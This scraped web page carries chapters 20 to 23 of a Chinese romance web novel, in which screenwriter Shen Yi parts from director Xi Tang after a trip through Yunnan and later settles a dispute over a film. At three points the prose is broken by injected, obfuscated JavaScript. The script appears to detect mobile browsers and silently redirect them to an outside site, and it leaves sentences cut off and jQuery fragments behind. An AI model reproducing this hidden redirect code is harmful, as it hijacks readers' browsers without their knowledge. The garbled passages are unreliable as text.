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晚上还是搞了顿烧烤,不是昨天那家,他们自己钻巷子另找了一家,沈弋昨天被那盘虫吓到了,看得出来他真的害怕,所以找了家没有烤虫的,再让他看见烤虫真是得哭出来。 肉串烤上来沈弋就不难过了,拿了四串,一串一口就塞光了。 “你这情绪来得快、去得也快啊。”李木打头逗他。 “民以食为天。” “刚才一副要哭了,现在又笑了。”丰继随后逗。 “我这是收放自如。” “要不要来串烤虫?”一个文身师逗。 “来人,拉出去!” 满桌疯狂大笑,在这种像大排档一样的店里,不需要担心影响别人,一桌哄笑才停另一桌又笑得更大声,有时候好像整个店里都在笑,乱哄哄的,但不会觉得烦。 沈弋昨天还对高粱酒大惊失色,现在主动喊嗓子叫酒,熟悉的白色桶配熟悉的小碗,满上,都满上。 酒过三巡,几个人开始互相使眼色,西堂不为所动,倒是沈弋自己先觉察到了。 “怎么了?”沈弋问出口就知道了,缓缓平稳地说:“你们要走了是吧?我也快走了,就这两天。” 他们之所以使眼色,是因为他们都知道沈弋是工作受挫暂时性来逃避工作的,除了最初那两天,后面也没再听他说过,谁也不知道解决没有,只看他玩得开心就没人提及。 他孤身一人来偶然遇到他们,志同道合玩得来,也玩得开心,突然告知他要走了,那种落差是很大的。 西堂摸着酒碗边沿,目光软着注视沈弋,出奇平静地同他说:“明天就走了,现在是散伙饭。” 他们本来计划的时间只到一周前,因为沈弋在西藏耽误了三天,又在云南多留了四天。 “哦。”沈弋轻描淡写应了一声,没袒露什么情绪。 几个人看他看不出什么来,不敢贸然再说这事,转移话题说了几句其他的。 20. 第 20 章 沈弋神色自然,几个人渐渐放下心来,只有西堂知道他有话没说。 再酒过几巡,烧烤点第二轮了,沈弋慢悠悠开始骂人了。 “你们好歹大我几岁,就这么办事的吗?临时临了才说要走了,不能提前两天吗?知不知道有个词叫‘心理准备’,起码让我缓两天,我都想好了要送你们什么礼物,只是没来得及买,我打算明天去买的,你们怎么办事的?” 攻击力只增不减,按照以往他不管说什么都有人笑或者接话,今天他们都不出声了,暗生一点心疼,毕竟是旅扎途中突然认识了个讨人喜欢的像弟一样的陌生人。 沈弋自己骂完了闷头喝了口酒,有些语重心长似的说:“混也混熟了,我交个底,本人不才,一个初出社会的电影编剧,我不知道你们拍那些视频具体是要干什么,但我文笔还行,用得上我就直接说。” 这话说得他们大气一喘,比直接骂他们更让人心里过意不去,人家比你们小,却交底,还心想着你们。 西堂心再硬也软了,对沈弋认真说:“好巧,我是个导演。” 沈弋要哭不哭、要笑不笑偏头看过去。 西堂眼神没躲,回看着,他现在眼神躲了那就死定了,沈弋肯定得炸毛。 沈弋不知道在怔忪还是在思考,沉默了好几秒,冒出个“哦”字,把西堂整不会了,“哦”是什么意思,西堂只好伸手摸摸他的头。 丰继看西堂不隐瞒了,也跟着自报家门,“开传媒公司的。” “因为西哥开的吗?”沈弋一听便知,问。 “算是吧。”丰继承认,“因为最开始的时候西堂的电影没人投资,他志气大不愿意自己投资,我一气之下就开了这个公司,拐弯抹角托人给他投资的,最后还是被他发现了。” 沈弋支着脑袋笑出声。 “摄影,名副其实。”李木说。 “看得出来,拍得真挺好。”沈弋不含糊,直接说。 另外三个也是名副其实的文身师,最后一个人真是跟来玩的,一个文身师的朋友。 身份摊开了说,感情就不一样了,此前他们只是沈弋自驾途中被搭救后认识的一起旅游的陌生人,沈弋只是他们旅扎途中救下后一起旅扎的陌生人,现在是朋友了。 “干一杯,你们照顾了我不少事,我说话有点毒舌,看你们也没生气,都在酒里了。”沈弋乖巧、真诚地提了一杯。 他们赶紧举杯应了,又以各种理由一个个和沈弋干了杯,谁让沈弋招人稀罕。 西堂没怎么说话,没什么好说的,他们没提前说是事实,沈弋一直强撑着情绪不表露出来也是事实。 别人看没看出来这点他不知道,但他看出来了,沈弋的眼神偶尔是虚的,有些心不在焉地应付这顿饭,沈弋不开心,那他说几句话有什么意思,不如不说。 只是到后面看沈弋喝得上头了,西堂把他的酒碗从他手里拿走了,剩的半碗酒倒自己酒碗里,他的酒碗被西堂倒扣,其他人看在眼里继续该吃吃该喝喝。 沈弋直勾勾地盯着他,沉默两秒低笑了声,没说话,自己拿起桌上的那壶野山茶倒进纸杯里开始喝茶。 “你是导演,我怎么从来没听说过你的名字?”沈弋有些不明白,看西堂的文身视频、哦不、现在他确定那就是纪录片,质量挺高的,不至于籍籍无名。 西堂看他表情能猜到他在想什么,“我在法国。” “你在法国。”沈弋不知为何重复了一遍,然后点点头。 吃饱就打道回府了,在座的八个人都喝了酒,车扔旁边地下停车场走路回去,还好不远,不然得打车。 夜晚的风夹杂着丝丝凉意,沈弋穿着件短袖不自觉搓了搓胳膊。 没有在拍电影,几个人穿的都是短袖,没有谁能脱件外套给他穿,沈弋一路忍到民宿。 他们明早就要起早走,有什么话现在就得说清楚,几个人说的话大差不差,无非是需要他们的话也直接说一声就行,常联系别生分了,有机会再约。 沈弋胸腔里的那口气差点一下没上得来,他憋得眼睛酸鼻子也酸,丰继还和他拥抱了一下,说,哎哟,你这小孩。 沈弋没说话,一出声准得哭出来。 各回各屋,沈弋吸了口气吊住那口气别泄,和西堂道了句晚安就回房间了。 西堂看他两眼皱了皱眉,在沈弋快要关门的时候叫住他:“沈弋,你是不是发烧了?” 沈弋迷糊一瞬,自己抬手摸了摸额头,摇摇头,“没有,体温正常,晚安。”,话音刚落门就被他关上了。 其实他们不止耽误了一个星期,严格来算是十八天,他们的行程十二天以前就应该结束了,只到西藏,没有云南。 只是从天而降了一个沈弋,他们邀请他一起旅扎的,怎么能不停下来让他四处玩。对于云南,是倒是西堂从网上看到后感兴趣过来的,但正巧让沈弋多玩几天。 西堂把所有视频粗略检查了一遍,把所有U盘分类放好,收拾了他自己的行李,一一整理妥当,已经过去五个小时了,距离起床时间还有四个小时。 他把房间里的窗户开到最大,点了根烟,云南夏天的夜空星星很多,和西藏的夜空不一样,但还是挺好看的,人能安静下来,放空自己。 烟抽完了的时候西堂突然想起沈弋,他刚才的脸双颊微红,摸不准是发烧了还是喝多了。 他微微蹙眉,想了想还是开门出去,像是不怀好意一样轻轻尝试转动沈弋的房门,没锁,他继续转动直至打开。 轻手轻脚地走进去,沈弋蜷成一团侧躺着,脸上是不正常的通红。 “沈弋。”西堂轻声叫他两声,得到一声带着痛苦的轻哼。 他把手放到沈弋额头上一摸,滚烫,他眼神微沉,心里涌上点莫名其妙的生气,又很无可奈何,站那里瞪着沈弋叹了口气,收起放在沈弋脑门上的手,给他拉了拉被子,出去坐在客厅里点跑腿送药。 幸好有二十四小时药店,不然车还被扔在地下停车场,得打车送沈弋进医院。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046888|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西堂坐在沙发上闭目养神,心里有点烦,因为沈弋大半夜发烧这件事心烦,感觉沈弋给他找麻烦,又更为自己感到心烦,人家哪里给他找麻烦,分明是他自己凑上门自找麻烦。 跑腿送得很快,半个多小时就送到门口了,西堂道谢接过药,看了看药盒上的用药量,抽了张纸扳出两颗放在纸上,倒了杯水,进去放到沈弋床头。 他轻轻推醒沈弋,“起来,吃药。” 沈弋睡得迷糊,眼睛都没睁开问:“什么东西?” 西堂失去耐心,左手穿过他的脖颈,右手拉着他身上的被子,劲儿一使把他整个人撑着坐起来。 西堂为了方便顺势坐在床头,单手揽着他,另一只手拿过那两颗药,声音沉着:“张嘴。” 沈弋没有自主意识,一心只想睡觉,但感到有人在说话,乖顺地按照对方的指令张开了嘴,有东西塞进了他的嘴里,紧接着是玻璃杯贴上嘴唇,对方下达了喝水的指令,他喝了口水,一咽就把嘴里的东西咽下去了,他自觉地又喝了口水,感觉舒服了把头一偏示意对方不喝了。 西堂被他的样子逗得眉头舒展,堵在心口的那缕浊气悄无声息地溜走了,他动作缓慢地把沈弋放回枕头上,抽了张纸帮他擦了擦额头上的薄汗,盖好被子出了房门。 囫囵睡了两个多小时,闹铃一响睁开眼睛,没得到足够睡眠的大脑有些混沌。 西堂洗漱好没急着出门,他三顾沈弋房内,摸了摸沈弋的额头,感觉更烫了,那两颗药竟是没起作用。 沈弋梦里乱七八糟,耳边却好像听到有人在说话,很轻微的声响,听不清,不再探寻沉沉睡去。 四个人和西堂他们仨道别,“那我们先走了,有时间再约。” “一路顺风。”西堂回他们。 透过半开的房门看了沈弋一眼,睡得安稳,他们仨拿了三把车钥匙出门,要去把车开回来。 李木和西堂开各自的,丰继开沈弋的,回到民宿也就过了二十分钟,沈弋还没醒。 “烧成这样还睡得挺安稳。”丰继都看笑了。 西堂心里只想叹气,感觉沈弋烧晕过去也就这么安安稳稳睡着。 他一边动手,一边动口叫醒沈弋。 “起来,醒醒。” 沈弋睡眼惺忪着看着面前的三个人,不知道哪难受,大脑已经停止思考,愣愣问:“怎么,还需要我起来送送你们?” 丰继和李木看他烧成这样又担心又好笑,西堂也被他的话搞得想笑又无语得笑不出来。 将他拉起来,衣服是休闲服不用换也行,叮嘱他穿好鞋子,放他进去洗漱完,就拉着迷糊的沈弋出门了。 退烧药不管用就得上医院了。 直到医院,沈弋才意识清醒,带着点不可置信问:“你们怎么还没走?” “送佛送到西,认识的时候救你一命,临时要走了还得救你一命。” 好像一口热水滑进胃里,让沈弋整个人都暖烘烘的,沈弋莞尔一笑,“那谢谢了。” 21. 第 21 章 挂号,就诊,还没到需要打针的地步,医生开了些比药店更齐全的退烧药。 在米线馆吃了个早点,沈弋不怕死地想吃红烧汤,被西堂做主换成了清汤,他抿嘴不敢说话。 吃完回到民宿,沈弋才诺诺问:“会不会耽误你们的安排,要不你们赶紧走吧,我这么大个人了,可以顾好自己。” 西堂噗嗤一笑,“难不成耽误一天我会损失几千万吗?” “嘁,”沈弋说,“你又不是开公司的,哪来的日理万机损失几千万,这话要说也是丰哥说。” 西堂警告地轻拍他脑袋,不准沈弋张嘴就怼,“赶紧吃你的药去。” 丰继感到好笑,附和他,“你说得对,但是我虽然开公司,倒也不会一天损失几千万。” 沈弋满意了,他一直暗暗自乐,嘿,他们没走。 丰继和李木没回他们房间,就待在这里没走,四个人各做各的事。 西堂占据了阳台,他一台电脑一杯茶,一坐就是几个小时,三审他的纪录片视频。 丰继处理公司的事,偶尔接个电话,下午两点开了个线上会议。 李木比较清闲,他从自己的摄影作品集里选了几张投稿参加将要截止时间的国际摄影大赛,随后修图,修图完找了部剧自己看。 沈弋最为无所事事,他吃完药后药效起作用昏睡过去,睡到中午被喊醒吃午饭,午饭点外卖四个人在客厅里吃。 吃完饭被西堂叮嘱吃药,吃完药想和西堂一起看文身纪录片被拒绝,理由是阳台风大。 他只好找了部电影窝在沙发上看,看着看着药效起作用又睡过去,过了两个小时自己醒了,他能感觉到自己痊愈了,被西堂和丰继轮流上手一摸,确实不烧了。 沈弋身上出了汗,去冲个澡出来开始跑进跑出整理行李,他打算明早和他们一起走,看到那大袋野山茶,沈弋找了三个袋子来分成四份,把三份给他们仨。 收得他心累,本就是萍水相逢,现在即将分别天各一方是既定的结果。 生活永远不会是拍电影,不会有那么多机缘巧合的重逢,不会有狗血的常联系,更别说他们远在法国,要想见面难上加难。 以后…… 以后就没什么联系了吧。 发烧的时候沈弋胃口挺好,现在烧退了他倒胃口不佳了,几个人晚饭随意塞了些垫垫肚子就都歇筷了,行李收拾好了,晚上也不会有工作需要处理,除了西堂审片子,三个人你看我我看你笑喷了。 西堂在他们的眼神逼迫下只好关了电话过来参加茶话会,一人一杯茶围着茶几盘腿而坐在垫子上。 讲什么呢?又你看我我看你笑喷了。 西堂倒是想起来件正事,问沈弋:“你工作上的事情解决了吗?” 沈弋顿了顿,实话实说:“解决了,之前的导演临时换掉我选定的主角,换成他潜规则的人,除了好看一无是处,和我写的剧本形象上南辕北辙,我坚决不同意,和他们闹得很僵,一觉睡醒就被诬陷抄袭,我一气之下就走人了,现在就等着回去谈违约金的事。” “换导演和团队重拍吗?”西堂道。 “嗯,已经在重拍了,我读书时候的老师来给我帮忙,我朋友是制片人,他重新组了个团队。” “哪里毕业的?不方便说可以不说。”丰继挺好奇的。 沈弋笑笑,“有什么不方便说的,我的学校非常拿得出手,北电的,鄙人不才,刚研究生毕业。” “哟,不错不错,好学校。” 西堂捧场道:“不错,作品怎么样?” 不知不觉就围绕着沈弋展开了话题。 沈弋挑了个最好的作品说:“戛纳最佳编剧,柏林提名。” 他不是会炫耀的人,但他有底气自傲,不是假清高,就是脚踏实地做出了一些还不错的成绩,所以会勇于对别人坦诚说出自己的成绩。 “后生可畏啊!”丰继感到惊喜,更加欣赏沈弋。 沈弋对丰继笑笑,扭头冲西堂臭屁地挑眉使眼色。 西堂也出乎意料,眼里赞赏,话说出口却像在教育人,“继续往前走,别东张西望就行。” 沈弋不反感,从西堂话里听出他对自己的期望,“嗯。”,又调转方向问他,“那你呢?” 西堂还没说话呢,丰继接上了,“你西哥再拿一个柏林就大满贯了。” 沈弋眼睛瞪大,崇拜地看向西堂,要知道西堂才三十一岁,他老师周宏被誉为导演之王也是四十多了才大满贯的。 他崇拜的眼神让西堂发笑,他自己也很优秀,二十五岁,戛纳最佳编剧和柏林提名,这是多少电影编剧穷极一生都无法达到的成绩。 晚饭也是点外卖,边吃边聊,吃得懒懒散散。 沈弋很想冒昧,但不敢问,几次看着丰继想开口也没敢说出来,西堂瞧出他的意图,直截了当说:“你问吧,他还挺乐意讲的。” 丰继插了一句:“什么啊?” “你,丰哥。”沈弋一笑,“听说你在努力复婚?” 丰继嘿了一声,他知道是西堂提前透露过,复婚这事吧,确实不用藏着掖着,他道:“是啊,本来离婚也就是让我媳妇儿出出气,我跟她哪能真分开了。” “那是怎么回事?” “还不是赖你西哥!” “别扯上我,此地无银三百两。”西堂道。 丰继继续说:“他不是在法国嘛,但我公司总部开在国内,就那个丰竹传媒,我老是往国外跑,三天两头不着家,我这人又爱玩,我媳妇不爱玩,那更见不着了,偶尔还被传绯闻,虽然都是假的,一来二去,是个人都受不了,就闹离婚呗。” 沈弋听完扯扯嘴角,“你这就不应该结婚吧?” “你看,我就说,小沈也这么说!”李木一拍手掌道。 “滚呐,我和阮一竹青梅竹马,我爱她她爱我不结婚干嘛,各自孤独终老吗?”丰继翻了个白眼。 “还青梅竹马啊,难怪你玩成这样她都愿意和你结婚。”沈弋拆台。 丰继气愤,“这是什么话!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046889|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “但是你看,你明明在国内,可是你还是出来玩了。”沈弋指出一点。 “每个人都有自己的生活,没必要时时刻刻每天黏在一起吧,我爱玩她不爱玩,那就各自过好自己想要的生活就好了。” “那你们这样和没结婚有什么区别?你玩你的,她过她的,一年到头加起来可能就四五个月的相处时间。”李木道。 “不结婚我女儿不成私生子了吗?”丰继无语,又说,“四五个月还不够吗?一年到头就十二个月,我把将近一半的时间献给婚姻了。” “可是她觉得你不着家,她想要的是平淡的每天见面的夫妻生活,你想要的是该玩玩,想回家了有个家。”李木据理力争。 沈弋听明白了,这事还真不好说,不是不爱,是生活的方式不一样,丰继求复婚那就说明两人分开舍不得了,在一起又各自难受,为对方做出改变却不太可能,让阮一竹陪丰继到处玩那阮一竹难受,让丰继成天着家那丰继难受。 “可是我们爱对方,想吵架吵呗,想离婚离呗,想怎么样都行,反正分不开。”丰继摊摊手。 沈弋提了个问题,“你们有想过找个同样的生活方式的人吗?” “想过啊,怎么没想过。”丰继坦然,“你怕是没有过长时间的同居生活吧?” 沈弋摇摇头,“我恋爱都没谈过,单身主义。” 丰继有些不相信地看他两眼,但继续说自己的,“同居生活时间一长吧,什么事都会吵架,比如说,某一天,阮一竹下班早,她想买好菜在家吃,我那天碰巧下班晚,等我下班回家晚上九点都算早了,这还吃个屁啊,那肯定让她先吃,但是她的初衷就是两个人能共度晚餐,有违初衷她肯定不高兴。” 确实是没有什么解决办法,就算丰继能经常早下班,他也不能做到一年三百六十五天都早下班,总有“某一天”,他下班晚,而阮一竹在那“某一天”碰巧想共度晚餐,那就无解了。 沈弋点头,“是的是的!所以我是单身主义,我知道同居生活有很多美好,就算不同居,光是谈恋爱也是美好的,但是总会发生一些小事,随便单拎出来一件来我都觉得烦,不谈恋爱从根本上杜绝这些事情的发生。” 丰继不置可否地呵呵一笑,“在真正的爱情面前,说什么都是无意义的,爱了就是爱了,不管有多少麻烦会发生,可是我就是想和阮一竹结婚,我就是想和阮一竹在一起,就算每天吵架我也要和她结婚在一起。” 沈弋有些无法理解,他从秉持单身主义那天开始,越来越坚定于单身主义。 既然不合适为什么非要纠缠在一起,他无法理解“每天吵架也要结婚在一起”,吵架很累,明明无法改变的事实,为什么还要花费精力去争吵,吵完也没有解决这个问题,丰继和阮一竹离婚了也没有解决丰继爱玩、阮一竹不爱玩的问题。 无法改变那不就不要强求了吗?就像丰继和阮一竹,两个人没有对方的生活明明过得挺好的,为什么非要凑在一起吵架呢? 单身生活不是很快乐吗? 22. 第 22 章 一晚上西堂都在做旁观者,他静静地听着沈弋和李木同丰继各执己见。 他有时候在听,有时候思绪飘到预拍的新电影上,偶尔回想起来父母失败的婚姻,又有一会儿想起丰继离婚的那天,他和阮一竹好像解脱又好像闹着玩,两个人对着离婚证傻笑。 如果真的相爱和无所谓为什么要有离婚这个步骤,如果真的痛苦和介意又为什么还要复婚,看他们俩的架势,复婚只是时间的长短,两个人像是重来热恋期,离婚后比离婚前感情更好。 他的新电影或许就是拍云南的一些故事,在云南的这几天他灵感很多,不管哪件事都可以拎出来拍,但是又好像都不太合适拍成电影,但在此之前他需要把纪录片做成最终的成片,然后送审和参赛。 西堂又突然想起来沈弋在西藏代替他寄给母亲的那份礼物。 那个时候他只当沈弋是个普通来自驾的人,他以为沈弋会随便买个华丽的东西,没想到准备了一份这么有情调的礼物,母亲一看就能知道不是出自他的手。 而且还是一个母亲不认识的陌生人的姓名寄过去的,尽管沈弋已经署名是西堂。 旁观者的角度很新奇,他做导演经常独坐一下午,场景随意,街头巷尾、酒局宴席,或者是哪个村里,或者是法国的咖啡馆和艺术展,他看着来来往往的人,看他们的言行举止,以便拍出真实的人,而不是电影里的人。 但太真实了也不行,太真实了就是生活,谁想看演员演绎自己的生活,太不真实了更不行,谁想看一些自己一窍不通的东西。 他们的声音太过吵,西堂的思绪被拉回,他从漫游天际回到了这间屋子里,看着面前的三个人。 爱情和他无关,亲情不需要,世界上的山水和他似近若远,这个世界热闹又无趣,他不需要这个世界,这个世界也不需要他。 他们吵着吵着换了个论题,从丰继和阮一竹该不该在一起转换到人需不需要找个伴侣,沈弋在单身主义的反方持续输出,丰继在结婚同居的正方稳定反驳,李木两边倒,哪边有理倒哪边。 西堂不能说话,他说出来的话会吓到沈弋,丰继和李木已经听多了免疫了,但沈弋肯定会被吓到。 时间差不多的时候西堂出声,“不早了,各位。” 他们仨止住了声音,争论被他打断后没再继续,沈弋问了声,“你们明天怎么走?” “开车到昆明就各自坐飞机走。”丰继说。 “坐飞机?”沈弋有点不明白,“那你们车呢?” “托运。”李木说,“西堂要直接不断转机回法国了,丰继回山东,我去意大利。” “哦。”沈弋明白了,“那我也托运吧,云南离北京太远了。” “行。”丰继说。 “睡觉吧。”西堂制止他们仨再聊起来,看向沈弋,“吃一次药再睡。” 沈弋比了个“ok”的手势。 李木和丰继起身出去,西堂和沈弋对视着莫名其妙笑了一声各自回屋。 早起就走,各开各的车,李木和丰继一辆车,到昆明办理了长途托运。 四个人过于松弛感,飞机票临时买的,有哪趟买哪趟,时间一对比,李木先走,其次丰继,再是西堂,沈弋成了最后。 认识的时候沈弋着急挥手,分别了沈弋轻轻挥手告别,没说再见,说的是一路平安。 西堂起身要过去检票,沈弋原本是抱着手站那里,看着西堂渐入人群的背影,他不知道哪根神经搭错了,突然疾走几步过去一把拉住西堂,在西堂不明就里和周围人被吓到的目光中,轻轻低声和西堂说,“抱一下。” 西堂眼里闪过诧异,很快换成淡淡的柔和的笑意,他细细注视沈弋,最后落在沈弋的眼睛里,伸手拢住他。 明明是沈弋要抱,西堂拢住他,他倒是不知所措了两秒才想起来抬手回抱住西堂。 “开心点。” 西堂微沉的声音落入沈弋的心脏,随后感受到他的后脑勺被西堂顺了顺毛。 “再见。” 沈弋一直站在原地目送着西堂走,直到看不见,他垂眸回到休息厅坐下。 再见就是为了再见,世界这么大,他们在西藏的无人区都能偶然遇到,那就肯定还有机会再见的。 沈弋安慰着自己,心里又不自觉掀起可惜和遗憾,真的还会再见吗,写剧本不就最喜欢写错过吗,两条街的男女主互相着急寻找对方都要写成逆于人海擦肩而过,现实里就能再见了吗? 西堂回到法国累得半死不活,一直坐飞机和转机折腾得不轻,除了手里的几个优盘他好像什么都没有带回法国。 好像失忆一样,行李箱从下飞机拿到手再到放回家里就没有打开过,每天在工作室和音效师、后期等几个人为纪录片做最后的完善,光这项工作就连轴一个多月,直到纪录片送审才得以喘了口气。 纪录片工作告一段落,整个工作室邀约要吃一顿,西堂自然同意,吃饭很晚才结束,几个法国同事还想去酒吧进行下一场,他拒绝了。 回到家才注意到客厅角落放着的行李箱,打开映入眼帘的就是沈弋最后一天塞进去的那包野山茶,他这才想起来这趟回国认识了一个叫沈弋的人。 衣服收进衣帽间,被埋在下面的唐卡和瓦猫显露出来,西堂检查了一下有没有磕坏,没有裂痕,放心地装进盒子里,摆到客厅里用于装饰的书柜上。 尽管是用于装饰,但逐渐书柜摆满了西堂喜欢看的书。 他烧了壶热水,捻了一撮野山茶放进价格昂贵的茶壶,自己坐那像有闲情雅致似的喝了两泡。 西堂没浪费,也没收藏,每天捻了一撮野山茶泡水喝,有时候是昂贵的茶壶,有时候丢进保温杯里,一大袋分成四份也就成了一小袋,他估摸着两个月不到就喝完了。 确实四十七天就喝完了,最后那天西堂泡进保温杯,将装野山茶的罐子底的碎茶叶倒进垃圾桶,喝完了就喝完了。 沈弋先手机关机睡了一觉,他爸妈没在北京,原本计划的一起吃顿饭没能达成,睡醒手机开机,如同打开了满血复活的开关,他要把遗留的事情一一解决。 叫上陈昀和《不归》原先的导演、制片、投资和李佳楠吃了顿饭。 饭是一口没吃,架倒是吵了一场。 沈弋诉求简单,违约金和道歉,他们拍到一半换主角就是违约了,不仅导演拿乔,而且李佳楠冒出来诬陷他抄袭,两件事发微博给他道歉。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046890|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽江时他发了微博,但是只是他单方面的澄清,导演这边和李佳楠一言不发,网友的言论褒贬不一,众说纷纭。 发微博道歉就坐实了沈弋说的话,导演和李佳楠不傻,完全不同意。 “初出茅庐别太心高气傲,这圈子没有你在学校里待着那么安逸,别到最后混不下去。”导演声音森冷。 李佳楠目光犀利,“不是拿了奖做出成绩就一劳永逸了,没人给你拍,你写出再好的剧本也没用。” 沈弋不以为然,“这话是说给你们自己听的吗?我倒是没听说你们在电影界只手遮天了,我混不混得下去不用你们操心,不道歉就收律师函吧,我没时间跟你们打嘴仗。” 沈弋手里捏着玩的筷子往桌上的碗碟里一扔,发生清脆刺耳的声响,吓没吓到人不知道,装逼倒是装爽了。 陈昀冷着张脸跟随沈弋起身,在导演和李佳楠气急败坏的谩骂中走人。 关上包厢门陈昀就装不住爆笑出声,“行啊,出去一趟回来还会装狠了。” 沈弋揍他一拳,“说什么不中听的,打嘴仗我就没输过,赶紧走,吃饭去,还好咱俩先溜不用买单,我刚才尽点贵的。” 陈昀才笑停,听见最后一句又爆笑出声。 去了他俩平常经常去的生升,老板是个年轻人,菜的口味很受年轻人喜欢,陈昀把沈弋爱吃的菜点了一遍。 “你干嘛?吃得完吗点这么多。”沈弋拦住他。 陈昀没听,点完服务员出去了才说,“一走一个多月,回来了不得全吃一遍,你回来一个星期了咱俩也没忙得约一顿,说说吧,怎么样?” 沈弋摸摸鼻子不知从何说起,那就从头说吧,“一路开到西藏,玩了三天,第四天就在无人区抛锚了,被一群来旅扎的救了。” 陈昀一抓就抓到重点,“旅扎的?那你不会接下来都跟那群旅扎的一起玩吧?” “你这什么语气,我不能跟那群旅扎的玩吗?你知道那群旅扎的什么水平吗?”沈弋批评他语气里的猜忌。 “什么水平?” “他们旅扎是为了拍纪录片,你要是看到那纪录片视频你都得佩服,国内没几个人搞得出来。”沈弋开始吹嘘,“那个带头的,三十一岁,就差个柏林奖人家直接大满贯了,牛不牛逼!你知道他开什么车吗?” “什么车?”陈昀很配合。 “奔驰大G,咱俩还得奋斗几年才买得起。” “咱俩奋斗几年跟他一样岁数了,三十一岁当然买得起了。” 沈弋不满,“这不是重点,重点是他这么年轻差点就大满贯了!” “那确实是,这么年轻能拿两个国际奖确实厉害。”陈昀点点头,前半句说完话锋一转,带出后半句,“他差点大满贯关你什么事?我问的是你出去一趟怎么样,不是问你出去一趟认识了谁。” 沈弋瞪着他,陈昀也瞪着沈弋,过了会儿沈弋重新审题,重新答题,讲自己出去一趟怎么样。 他这种行为很像是在和朋友炫耀,诶、你知道吗、我认识那个谁,这种炫耀式的介绍某个人,要么是为了自己装逼,要么是把某个人潜意识划分到自己名下,这是我认识的人,你不认识,跟你没关系,你听我介绍就行了。 23. 第 23 章 沈弋为陈昀不听他说西堂的情况感到不满意,可是他没能替自己找到一个合理的理由、一个可以朝陈昀讲解西堂这个人姓甚名谁的理由。 被陈昀打岔后就无法再重新提起他认识个差点大满贯的人这事,那太奇怪了。 沈弋陡然失去兴致,随便讲了讲他在西藏玩了什么、在云南玩了哪里,最后因为陈昀问那条他发给陈昀的新闻,沈弋开始讲自己对新作品的想法。 一个反反复复度过大半生仍然在复吸的人。 一句话概括就是这样,这只是整个新作品的中心,至于怎么创作还没有多少头绪。 陈昀听完摆摆手,“那就先别管了,你不是接了个新剧本吗,先把那个搞完吧,还有《不归》这边,你还得来看看。” “行吧。”沈弋同意。 两个人开始扯其他的,从小学认识一直到大学,志趣相投,成绩差不多就同报了北电,熟得不能再熟,能说的话题太多了。 但主要是陈昀给沈弋讲他出去的这段时间娱乐圈发生了什么事,各自家里发生了什么事。 娱乐圈每天能发生的事可太多了,何况这是一个多月,说出来如数家珍。 沈弋听得全神贯注,太好笑了就发出疯狂的大笑,太刺激了就瞪大眼睛,太无语了就怼上几句。 西堂这个名字好像无声无息就从沈弋的寻常生活里烟消云散了,他再没有在旁人面前提起在西藏无人区遇见了一个人。 他请了律师和导演、李佳楠交涉,对于这些人没必要多费口舌。律师很给力,两周后导演和李佳楠发微博道歉,网络上掀起一阵热议,“沈恒升”这个笔名终于得到应有的清白。这是后话。 在此期间沈弋特意请郑诉吃了顿饭,郑诉是他钦定的《不归》男主角,一个素人。 整件舆论风波其实很简单,《不归》是沈弋写了两年的剧本,被国内知名导演看上了,紧接着就开始拍摄。可能这位知名导演私下潜规则别人了,在拍摄半年多以后毅然要把男主角换掉,理由是新人演的不行。 男主角选角的时候沈弋参与了,他授权剧本的时候唯一的要求就是选角得他来定,光是男主角就辗转了快两个月选定,一个送外卖的普通人。 沈弋知道,如果不是外卖员的出现,选角远不能结束得这么快。他现在也记得清楚,那天末秋,很冷,他忙到夜色降临才收工,饿得前胸贴后背,窗外瓢泼大雨,他犹豫了一下没有点外卖,拿了伞出门去找吃的。 在一家面馆里,他点完餐坐着等待,外卖骑手就进来了,二十多岁,被雨淋成落汤鸡,额头那块的头发湿得滴水,他问了一声,老板说还没好,他大概是怕满身的水把店里的地板弄湿,只是站在店门口的一角。 雨下得挺大,稀稀疏疏能淋到他,他没当回事,迎着那些许风雨,他淡然地解开两层衣服,从衣服内侧的口袋里掏出一包烟,拿了一根又把那包烟放回,重新把衣服穿好。他一回头就看见被个男人盯着,笑了笑问:“有没有火?” 沈弋为自己盯着人看又被人发现而抱歉,将衣兜里的打火机递给外卖员。 沈弋继续盯着外卖员的一举一动,外卖员做了个让他意想不到的动作,就是这个动作让沈弋觉得他不能放走这个人。 风不大,但外卖员打了两次火也没点燃烟,他没有不耐,也没有皱眉,好像有些等不及想要抽这根烟,他把烟凑到鼻子下深深地闻了一下。 就是这一下,沈弋刷地站起来,凳子随着他站起来的动作被撞开的声音吓得外卖员一抖。 一模一样!沈弋在《不归》里也写了这个动作,一个男人点烟没点着,只好先低头闻了闻烟。 对方看过来,沈弋口齿不清:“你!……我……我是个编剧,在找演员,你愿不愿意来试戏?” 